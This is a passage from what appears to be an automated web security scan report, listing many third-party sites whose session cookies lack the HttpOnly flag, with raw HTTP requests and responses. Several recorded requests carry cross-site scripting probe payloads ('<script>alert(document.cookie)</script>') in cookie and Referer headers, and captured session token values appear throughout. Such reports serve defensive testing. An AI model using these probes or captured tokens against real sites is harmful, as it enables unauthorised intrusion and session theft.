<html><body>You are being <a href="http://twitter.com/login?redirect_after_login=%2Fsearch%2Fusers">redirected</a>.</body></html>

15.69. http://twitter.com/share previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/share

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCLQKuPstAToHaWQiJWM5ZWQ0YTM5M2QwOTE2%250AZTMwZjY1YmYzYzViZGVjNzk1IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--3851482bffb10ede1aa19e1f488c062976d13f30; domain=.twitter.com; path=/
k=173.193.214.243.1297008298671071; path=/; expires=Sun, 13-Feb-11 16:04:58 GMT; domain=.twitter.com
guest_id=12970082986758922; path=/; expires=Tue, 08 Mar 2011 16:04:58 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /share HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 403 Forbidden
Date: Sun, 06 Feb 2011 16:04:58 GMT
Server: hi
Status: 403 Forbidden
X-Transaction: Sun Feb 06 16:04:58 +0000 2011-40077-14485
Last-Modified: Sun, 06 Feb 2011 16:04:58 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4792
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1297008298671071; path=/; expires=Sun, 13-Feb-11 16:04:58 GMT; domain=.twitter.com
Set-Cookie: guest_id=12970082986758922; path=/; expires=Tue, 08 Mar 2011 16:04:58 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCLQKuPstAToHaWQiJWM5ZWQ0YTM5M2QwOTE2%250AZTMwZjY1YmYzYzViZGVjNzk1IgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--3851482bffb10ede1aa19e1f488c062976d13f30; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html>

<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="Content-Language" content="en-us" />
<title>Twitter / Valid URL par
...[SNIP]...

15.70. http://twitter.com/tipd previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://twitter.com
Path:	/tipd

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

_twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCPkMuPstAToHaWQiJWNhNzJmNDk3MWFmM2I0%250AYmNhYWE5OGUyOWNiZDUzNjhjIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--10750576955489608e16b235f232e55307bee9f6; domain=.twitter.com; path=/
k=173.193.214.243.1297008299249903; path=/; expires=Sun, 13-Feb-11 16:04:59 GMT; domain=.twitter.com
guest_id=129700829925695163; path=/; expires=Tue, 08 Mar 2011 16:04:59 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /tipd HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.71. http://unalog.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://unalog.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

csrftoken=ac1e05ab7cd83b14b6dda0b829643047; Max-Age=31449600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: unalog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.72. http://us.blackberry.com/developers/* previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://us.blackberry.com
Path:	/developers/*

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=B986630916CF65EB36206C46CF142526; Path=/
server_instance=edmonton; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /developers/* HTTP/1.1
Host: us.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dfa_cookie=rimglobal%2Crimbbus; fsr.s={"v":1,"rid":"1296999185012_659282","ru":"http://burp/show/47","r":"burp","st":"","pv":1,"to":3,"c":"http://us.blackberry.com/smartphones/94178\"><script>alert(document.cookie)</script>d0d62204af5/","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1296999186933}; s_cc=true; BLLY=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw; s_sv_p1=1@17@d/10004/13235&e/3; s_sv_s1=1@16@a//1296999182564; s_vi=[CS]v1|26A75174851D0DA2-40000133800583FB[CE]; s_sq=%5B%5BB%5D%5D; fsr.a=1296999208657; survey=true; s_sv_sid=641990084704;

Response

HTTP/1.1 301 Moved Permanently
Server: Apache/2.0.52 (Red Hat)
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=JBoss_4_0_4_GA date=200605151000)/Tomcat-5.5
Expires: 0
Cache-Control: no-store,no-cache,must-revalidate
Cache-Control: post-check=0,pre-check=0
Pragma: no-cache
Location: http://us.blackberry.com/developers/*/
Content-Length: 0
Content-Type: text/plain; charset=UTF-8
Date: Sun, 06 Feb 2011 16:05:04 GMT
Connection: close
Set-Cookie: server_instance=edmonton; Path=/
Set-Cookie: JSESSIONID=B986630916CF65EB36206C46CF142526; Path=/

15.73. http://www.360macedonia.com/macedonia/mk/sonovnik.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.360macedonia.com
Path:	/macedonia/mk/sonovnik.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=12e42525981803e02636130728dd646c; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /macedonia/mk/sonovnik.php HTTP/1.1
Host: www.360macedonia.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:56 GMT
Server: Apache/2.2.11
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=12e42525981803e02636130728dd646c; path=/
Connection: close
Content-Type: text/html
Content-Length: 26392

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>........
...[SNIP]...

15.74. http://www.ad4mat.de/ads/conbanner_bild1.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.ad4mat.de
Path:	/ads/conbanner_bild1.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=158dbd606aebc0d8d2504e47a422f607; path=/
ad4mat_lb=616182620.20480.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ads/conbanner_bild1.php?cat=bild_bildbanner&w=728&h=90&zanox_tracking_host=http://ad.zanox.com/ppc/&zanox_tracking_param=14786739C435671106%26ULP HTTP/1.1
Host: www.ad4mat.de
Proxy-Connection: keep-alive
Referer: http://www.shoppinga.de/?bd2d5%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ee3b5e976e9e=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 17:39:38 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.10 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Set-Cookie: PHPSESSID=158dbd606aebc0d8d2504e47a422f607; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Content-Length: 3914
Connection: close
Content-Type: text/html
Set-Cookie: ad4mat_lb=616182620.20480.0000; path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="expires" content="0"><meta http-equiv="cache-control" content="no-ca
...[SNIP]...

15.75. http://www.amazon.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.amazon.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session-id-time=2082787201l; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
session-id=188-9552736-3777102; path=/; domain=.amazon.com; expires=Tue Jan 01 08:00:01 2036 GMT
skin=noskin; path=/; domain=.amazon.com; expires=Sat, 05-Feb-2011 23:01:25 GMT

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.amazon.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.76. http://www.americanexpressfhr.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.americanexpressfhr.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESSID=3780594123c995c1366cffc6b7a5fe3a; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.americanexpressfhr.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: https://www.americanexpressfhr.com/ssl/travel/gateway.rvlx?action_route=1:HOTEL:0:START::SWF
Content-Length: 0
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 21:53:09 GMT
Connection: close
Set-Cookie: SESSID=3780594123c995c1366cffc6b7a5fe3a; path=/

15.77. http://www.baselinemag.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=ef279b08c366a77276517a7a4f587e14; expires=Mon, 06-Feb-2012 16:05:17 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.78. http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=030725a31cb803f2c855ce8758501852; expires=Sun, 05-Feb-2012 23:01:26 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.79. http://www.baselinemag.com/googlecse.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.baselinemag.com
Path:	/googlecse.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

sessioncookie=adc238b228495472f27cbaaa4a7ee9ba; expires=Mon, 06-Feb-2012 16:05:18 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.80. http://www.bebo.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.bebo.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bdaysession=10972d3e51ad7d61367853489; domain=.bebo.com; path=/
sessioncreate=20110205230037; domain=.bebo.com; path=/
JSESSIONID=abc0pb9r1B6kTdozJd43s; path=/
bvid=c94114e0-b984-471b-b0e3-720e978d2001|1296946837192; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT
bvid=a2f9a221-b44f-4098-ba4c-4cc5cf278f98|1296946837204; domain=.bebo.com; path=/; expires=Fri, 06-May-2011 23:00:37 GMT

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.bebo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.81. http://www.beckerortho.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.beckerortho.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDCQSSDRQQ=LPAPMINCHLCMAFPPCLPLJAFD; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.beckerortho.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

15.82. http://www.bibsonomy.org/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.bibsonomy.org
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=69F28CAB61CBF1AC490EAB83BB7E82F5; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.bibsonomy.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.83. https://www.blackberry.com/profile/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://www.blackberry.com
Path:	/profile/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=JD69KcjTQatFpAIlL8-CEA**.node1; Path=/
BIGipServerMKEX04NA_HA_Web_Applications=539489546.20480.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /profile/ HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.84. http://www.bookmarks.fr/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.bookmarks.fr
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=eb8e768766e47ff2a214086c0d62a1ac; path=/
mediaplan=R3721064657; path=/; expires=Tue, 08-Feb-2011 11:06:49 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.bookmarks.fr
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Set-Cookie: mediaplan=R3721064657; path=/; expires=Tue, 08-Feb-2011 11:06:49 GMT
Date: Sat, 05 Feb 2011 23:01:33 GMT
Server: Apache/2.2.X (OVH)
X-Powered-By: PHP/5.2.17
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=eb8e768766e47ff2a214086c0d62a1ac; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 43464

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr">
<head>
<title>Bo
...[SNIP]...

15.85. http://www.breitband-anbieter.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.breitband-anbieter.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=be4199973dec3f08f708b276dc31a269; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.breitband-anbieter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:06:46 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-1+lenny3
Set-Cookie: PHPSESSID=be4199973dec3f08f708b276dc31a269; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13521

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>

...[SNIP]...

15.86. http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.breitband-anbieter.com
Path:	/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=8fd9477c929c1497df94dbe8861525f5; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ HTTP/1.1
Host: www.breitband-anbieter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:06:47 GMT
Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny3 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-1+lenny3
Set-Cookie: PHPSESSID=8fd9477c929c1497df94dbe8861525f5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13229

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head>

...[SNIP]...

15.87. http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.cisco.com
Path:	/web/about/ac123/ac147/archived_issues/ipj_9-1/ip_addresses.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000VvSzL3QIdtIuJQIqrBsGZb4:wpx-12541;Path=/web/
CP_GUTC=72.163.4.168.1296942826289717; path=/; expires=Wed, 30-Jan-36 21:53:46 GMT; domain=.cisco.com
CP_GUTC=128.107.242.39.1296942826291868; path=/; expires=Wed, 30-Jan-36 21:53:46 GMT; domain=.cisco.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.88. http://www.coe.gatech.edu/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.coe.gatech.edu
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESSe21231bc09705de79a97f2d6b2e890fb=645k56n5kokbe2trg1b1r6h6e7; expires=Tue, 01-Mar-2011 01:27:06 GMT; path=/; domain=.coe.gatech.edu

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.coe.gatech.edu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.89. http://www.diigo.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.diigo.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_smasher_session=0884043c57a485ce4cbb73416ccb308f; domain=diigo.com; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.diigo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.dooce.com
Path:	/\|http:/www.mightygoods.com/\|http:/www.coolmompicks.com\|onemanga.com\|psychcentral.com\|webmail.aol.com\|http:/www.weblogsinc.com\|http:/www.webmd.com/$\|wonderwall.msn.com\|msn.com/wonderwall\|v14.msn.com/\|preview.msn.com/\|www.msn.com/preview.aspx\|mtv.com/videos/\|mtv.com/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESS30952fbaf4ac11922b9cafbdf8d115e4=71f18f11fd684daf83cd39428a8d9146; expires=Tue, 01-Mar-2011 19:35:09 GMT; path=/; domain=.dooce.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.91. http://www.download32.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.download32.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=f8b3952f14c675846ceb2c1d8dd9dfae; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: www.download32.com
Proxy-Connection: keep-alive
Referer: http://www.download32.com/new.html?e898c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebfecbfd1b5d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1697810850-1296942494788

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:05:07 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Set-Cookie: PHPSESSID=f8b3952f14c675846ceb2c1d8dd9dfae; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 69385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Download32 Software
...[SNIP]...

15.92. http://www.download32.com/nslookup-software.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.download32.com
Path:	/nslookup-software.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=f1d128b0b804710c566c802ba5200831; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /nslookup-software.html HTTP/1.1
Host: www.download32.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:47:50 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Set-Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html
Content-Length: 80941

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Nslookup Software Do
...[SNIP]...

15.93. http://www.download32.com/resources/calendar.css previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.download32.com
Path:	/resources/calendar.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=e63c83b744725b87a87f3a5fc328ab9f; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /resources/calendar.css HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.download32.com

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:06:04 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Set-Cookie: PHPSESSID=e63c83b744725b87a87f3a5fc328ab9f; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 0

15.94. http://www.download32.com/resources/calendar.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.download32.com
Path:	/resources/calendar.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=4e6c1c7a5f362d89888ecd12c891ec42; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /resources/calendar.js HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.download32.com

Response

HTTP/1.0 404 Not Found
Date: Sat, 05 Feb 2011 22:06:02 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Set-Cookie: PHPSESSID=4e6c1c7a5f362d89888ecd12c891ec42; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 0

15.95. http://www.ebooklibs.com/ previous next

Summary

Severity:	Low
